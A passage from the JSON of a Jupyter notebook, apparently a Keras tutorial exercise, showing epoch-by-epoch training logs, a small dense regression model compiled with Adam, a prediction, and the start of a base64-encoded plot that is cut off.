3ms/step - loss: 12.4141 - mae: 12.4141\n", - "Epoch 134/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 12.3412 - mae: 12.3412\n", - "Epoch 135/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 12.2610 - mae: 12.2610\n", - "Epoch 136/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 12.1743 - mae: 12.1743\n", - "Epoch 137/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 12.0818 - mae: 12.0818\n", - "Epoch 138/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 11.9849 - mae: 11.9849\n", - "Epoch 139/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 11.8831 - mae: 11.8831\n", - "Epoch 140/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 11.7770 - mae: 11.7770\n", - "Epoch 141/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 11.6684 - mae: 11.6684\n", - "Epoch 142/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 11.6048 - mae: 11.6048\n", - "Epoch 143/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 11.5251 - mae: 11.5251\n", - "Epoch 144/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 11.3904 - mae: 11.3904\n", - "Epoch 145/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 11.3094 - mae: 11.3094\n", - "Epoch 146/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 11.2219 - mae: 11.2219\n", - "Epoch 147/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 11.1285 - mae: 11.1285\n", - "Epoch 148/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 11.0295 - mae: 11.0295\n", - "Epoch 149/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 10.9256 - mae: 10.9256\n", - "Epoch 150/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 10.8613 - mae: 10.8613\n", - "Epoch 151/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 10.7323 - mae: 10.7323\n", - "Epoch 152/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 10.6539 - mae: 10.6539\n", - "Epoch 153/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 10.5723 - mae: 10.5723\n", - "Epoch 154/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 10.4832 - mae: 10.4832\n", - "Epoch 155/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 10.3871 - mae: 10.3871\n", - "Epoch 156/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 10.2846 - mae: 10.2846\n", - "Epoch 157/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 10.1771 - mae: 10.1771\n", - "Epoch 158/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 10.0646 - mae: 10.0646\n", - "Epoch 159/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 9.9474 - mae: 9.9474\n", - "Epoch 160/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 9.8686 - mae: 9.8686\n", - "Epoch 161/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 9.8158 - mae: 9.8158\n", - "Epoch 162/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 9.7643 - mae: 9.7643\n", - "Epoch 163/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 9.7140 - mae: 9.7140\n", - "Epoch 164/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 9.6643 - mae: 9.6643\n", - "Epoch 165/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9.6139 - mae: 9.6139\n", - "Epoch 166/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9.5629 - mae: 9.5629\n", - "Epoch 167/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9.5119 - mae: 9.5119\n", - "Epoch 168/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 9.4602 - mae: 9.4602\n", - "Epoch 169/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 9.4074 - mae: 9.4074\n", - "Epoch 170/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9.3540 - mae: 9.3540\n", - "Epoch 171/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9.2998 - mae: 9.2998\n", - "Epoch 172/200\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 6ms/step - loss: 9.2448 - mae: 9.2448\n", - "Epoch 173/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 9.1885 - mae: 9.1885\n", - "Epoch 174/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9.1309 - mae: 9.1309\n", - "Epoch 175/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9.0722 - mae: 9.0722\n", - "Epoch 176/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 9.0124 - mae: 9.0124\n", - "Epoch 177/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 8.9515 - mae: 8.9515\n", - "Epoch 178/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 8.8893 - mae: 8.8893\n", - "Epoch 179/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 8.8257 - mae: 8.8257\n", - "Epoch 180/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 8.7610 - mae: 8.7610\n", - "Epoch 181/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 8.6951 - mae: 8.6951\n", - "Epoch 182/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 8.6277 - mae: 8.6277\n", - "Epoch 183/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 8.5589 - mae: 8.5589\n", - "Epoch 184/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 8.4889 - mae: 8.4889\n", - "Epoch 185/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 8.4460 - mae: 8.4460\n", - "Epoch 186/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 8.3529 - mae: 8.3529\n", - "Epoch 187/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 8.2868 - mae: 8.2868\n", - "Epoch 188/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 8.2205 - mae: 8.2205\n", - "Epoch 189/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 8.1521 - mae: 8.1521\n", - "Epoch 190/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 8.0816 - mae: 8.0816\n", - "Epoch 191/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 8.0090 - mae: 8.0090\n", - "Epoch 192/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 7.9351 - mae: 7.9351\n", - "Epoch 193/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7.8611 - mae: 7.8611\n", - "Epoch 194/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 7.7869 - mae: 7.7869\n", - "Epoch 195/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7.7150 - mae: 7.7150\n", - "Epoch 196/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 7.6424 - mae: 7.6424\n", - "Epoch 197/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 7.5681 - mae: 7.5681\n", - "Epoch 198/200\n", - "1/1 [==============================] - 0s 2ms/step - loss: 7.4921 - mae: 7.4921\n", - "Epoch 199/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7.4156 - mae: 7.4156\n", - "Epoch 200/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 7.3390 - mae: 7.3390\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 39, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "#### 3rd model : Change the optimizer function (Adam) and change the learning rate ####\n", - "\n", - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(100, activation=\"relu\"),tf.keras.layers.Dense(1)]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.Adam(lr=0.01), metrics=[\"mae\"])\n", - "# mae = mean absolute error \n", - "\n", - "#Fit the model\n", - "model.fit(X,y,epochs=200) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 40, - "id": "caa018d2", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([[137.25078]], dtype=float32)" - ] - }, - "execution_count": 40, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Try to make prediction using model\n", - "model.predict([14])" - ] - }, - { - "cell_type": "markdown", - "id": "478b4165", - "metadata": {}, - "source": [ - "# Making model on large data" - ] - }, - { - "cell_type": "code", - "execution_count": 41, - "id": "f933b93c", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(,\n", - " ,\n", - " 100)" - ] - }, - "execution_count": 41, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "## Making model on large data \n", - "X=tf.range(100,500,4)\n", - "y=X+20\n", - "X,y,len(X)" - ] - }, - { - "cell_type": "code", - "execution_count": 42, - "id": "708ba4a6", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 42, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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